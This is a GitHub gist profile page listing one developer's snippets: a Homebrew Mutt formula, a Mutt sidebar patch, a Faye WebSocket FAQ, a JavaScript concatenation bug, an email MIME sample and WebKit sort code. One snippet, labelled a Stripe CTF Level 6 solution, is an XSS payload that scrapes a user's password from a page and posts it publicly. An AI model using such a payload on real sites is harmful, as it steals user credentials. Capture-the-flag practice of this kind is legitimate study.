Skip to content

Instantly share code, notes, and snippets.

View Pewpewarrows's full-sized avatar
🦀

Marco Chomut Pewpewarrows

🦀
View GitHub Profile

Keybase proof

I hereby claim:

  • I am pewpewarrows on github.
  • I am pewpewarrows (https://keybase.io/pewpewarrows) on keybase.
  • I have a public key ASBhwL5pQdVlE6JKWHEmkQM9O5J4sHbb3X2Uqkj4kJTmMQo

To claim this, I am signing this object:

@Pewpewarrows
Pewpewarrows / mutt.rb
Last active August 29, 2015 14:07
Homebrew Mutt Formula (with sidebar patch)
require "formula"
# Note: Mutt has a large number of non-upstream patches available for it,
# some of which conflict with each other. These patches are also not kept
# up-to-date when new versions of mutt (occasionally) come out.
# To reduce Homebrew's maintainence burden, new patches are not being
# accepted for this formula. Mutt power-users are encouraged to copy the
# formula and modify it locally, adding needed patches.
class Mutt < Formula
homepage "http://www.mutt.org/"
@Pewpewarrows
Pewpewarrows / patch-1.5.23.sidebar.20140412.txt
Created October 20, 2014 15:02
Mutt 1.5.23 Sidebar Patch (4/12/2014)
*** mutt-1.5.23-orig/buffy.c 2014-03-12 11:03:44.000000000 -0500
--- mutt-1.5.23/buffy.c 2014-04-12 15:33:54.000000000 -0500
***************
*** 161,166 ****
--- 161,209 ----
}
}
+ static int buffy_compare_name(const void *a, const void *b) {
+ const BUFFY *b1 = * (BUFFY * const *) a;
@Pewpewarrows
Pewpewarrows / gist:4990259
Created February 19, 2013 21:39
@jcoglan's should-be-FAQ for users of Faye wondering about WebSockets...
1. Heroku doesn't support WebSocket
2. nginx doesn't (until this week) support WebSocket
3. Your customer's firewall doesn't support WebSocket
4. Internet Explorer
5. None of this matters, it will switch to other network transports for you
6. Web software has things like TCP timeouts. Don't make connectivity assumptions
7. That doesn't matter either because the client handles reconnection for you
8. EventMachine
9. Rack and/or Rails and/or blocking I/O
10. Memory leaks, which are actually my fault
@Pewpewarrows
Pewpewarrows / gist:3431084
Created August 23, 2012 01:25
Stripe CTF Level 6 XSS
$.get('https://level06-2.stripe-ctf.com/user-madrtmdusg/user_info', function(data){
var password = /Password:<\/th>\s+<td>(.+)<\/td>/.exec(data)[1];
$('#content').val(password);
$('#new_post').submit();
});
@Pewpewarrows
Pewpewarrows / lib.js
Created April 16, 2012 16:58
ASI Bug introduced during Concatenation
// This library file decides to use ASI everywhere
var fn = function () {
//...
} // semicolon missing at this line
MIME-Version: 1.0
From: Site Name <noreploy@sitename.com>
To: other@person.com
Subject: Headline Here
Content-Type: multipart/alternative;
boundary="=_eaa18d96c3db1baf4ab107f81e1ad328"
--=_eaa18d96c3db1baf4ab107f81e1ad328
Content-Transfer-Encoding: 7bit
@Pewpewarrows
Pewpewarrows / gist:964673
Created May 10, 2011 15:18
WebKit Array.sort() algorithm: You lazy fucks...
// http://svn.webkit.org/repository/webkit/trunk/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
// "Min" sort. Not the fastest, but definitely less code than heapsort
// or quicksort, and much less swapping than bubblesort/insertionsort.
for (unsigned i = 0; i < length - 1; ++i) {
JSValue iObj = thisObj->get(exec, i);
if (exec->hadException())
return JSValue::encode(jsUndefined());
unsigned themin = i;
JSValue minObj = iObj;